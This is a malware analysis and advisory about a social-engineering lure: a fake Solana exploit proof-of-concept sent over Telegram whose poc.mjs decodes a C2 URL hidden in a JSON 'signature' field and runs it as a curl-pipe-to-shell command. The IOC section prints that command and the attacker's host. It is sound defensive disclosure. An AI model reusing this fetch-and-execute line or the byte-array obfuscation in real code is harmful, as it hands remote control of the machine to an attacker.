Threat actors are approaching projects with reports of a successful exploit targeting their infrastructure. The proof of concept, provided as a codebase, contains a malicious payload. Below we describe the social engineering approach as well as the details of the malware’s execution flow.

The target protocol was approached through Telegram. The threat actor, posing as a white-hat researcher, offered a codebase containing a proof of concept for an exploit against the protocol’s infrastructure. Their communication was professional but worked to create a sense of urgency, with multiple follow-ups sent after the malicious codebase was delivered. The codebase is built to play the part convincingly. It is a complete, runnable Solana exploit kit, with a local-fork harness, account fixtures, an extractor that rebuilds its own sample from live transactions, and the protocol’s real deployed binary, so that a reviewer running it sees exactly what a genuine disclosure would produce.

The codebase contains a suspicious curl request to a remote server. The server string itself is built from a byte array stored in a seemingly standard and benign JSON file. The whole lure is built to look convincing even though the payload execution itself is not especially well hidden.

What the sample actually does

The JSON field UnifiedSignatureInfo is dressed up to look like a Solana signature byte array, but it is plain ASCII. Decoded, it is a URL. In poc.mjs, the chain is:

  • USIC = Buffer.from(SI.UnifiedSignatureInfo) becomes positions = USIC.toString(), the decoded URL string
  • check = curl -fsSL -k "${positions}" | sh builds a curl-pipe-to-shell command
  • const next = require('child_process').exec(check) executes it, in the main flow, right after the “exploit” run. It fires regardless of whether the fake exploit “lands.” The Solana over-borrow code around it is a decoy to make the file read as a legitimate security PoC.

The README.txt is the trigger. Its run instructions (npm install, start the fork, then node poc.mjs) are what cause the exec to fire, so a reviewer following the documented steps detonates the payload without ever touching the malicious line. The README’s file table makes no mention of UnifiedSignatureInfo or the curl command.

IOCs

Telegram account of the attacker: @HunterCoby

Network

  • C2 URL: https://162.35.174.231:5000/stage2
  • IPv4: 162.35.174.231
  • Port: 5000/tcp (HTTPS; -k disables certificate verification, implying a self-signed or invalid cert)
  • URI path: /stage2

Execution / behavioral

  • Command executed: curl -fsSL -k "https://162.35.174[.]231:5000/stage2" | sh
  • Technique: remote shell payload fetched and piped to sh via Node child_process.exec
  • Trigger: running the PoC per README.txt (node poc.mjs). The exec is unconditional and not gated on the fake exploit result
  • Obfuscation: the C2 URL stored as a decimal byte array in the UnifiedSignatureInfo JSON field (ASCII posing as a “signature”)

Files

  • poc.mjs, the dropper (contains the exec)
  • increaseborrow-sample.json, carries the obfuscated URL in UnifiedSignatureInfo
  • README.txt, run instructions that trigger execution
  • Decoy exploit tooling: extract-inc.mjs, trading-increase-borrow-txs.json, increaseborrow-attacker.json, incborrow-position.json, incborrow-postoken.json, incborrow-attacker-token.json, program/PROGRAM-ADDRESS-REDACTED.so

Decoy / lure context (not malicious infrastructure)

  • Theme: a weaponizable over-borrow exploit against the target’s Solana program, presented as a vulnerability-disclosure PoC

Collection attempt

As of 2026-10-21 the C2 is dormant. 162.35.174.231:5000 completes the TCP handshake but returns zero bytes at the application layer over both HTTPS and plaintext HTTP, so stage2 could not be retrieved for analysis.

What we ruled out

  • No npm install-script vector. package.json has no preinstall, postinstall, or prepare hooks, and package-lock.json resolves only to legitimate registry packages, with no typosquats or off-registry sources.
  • No secondary payload hidden in the sample. The on-chain account fixtures, the instruction args_hex, and the attacker keypair contain no embedded URLs or encoded strings. The UnifiedSignatureInfo to curl | sh path is the only implant.

Recommended actions

  • Treat any unsolicited “exploit PoC” delivered over chat as hostile. Review it statically in an isolated VM and never run the provided setup steps on a machine you care about.
  • Block and alert on 162.35.174.231 and the /stage2 URL.
  • If the kit was run, assume host compromise from the point node poc.mjs executed and begin incident response.
The link has been copied!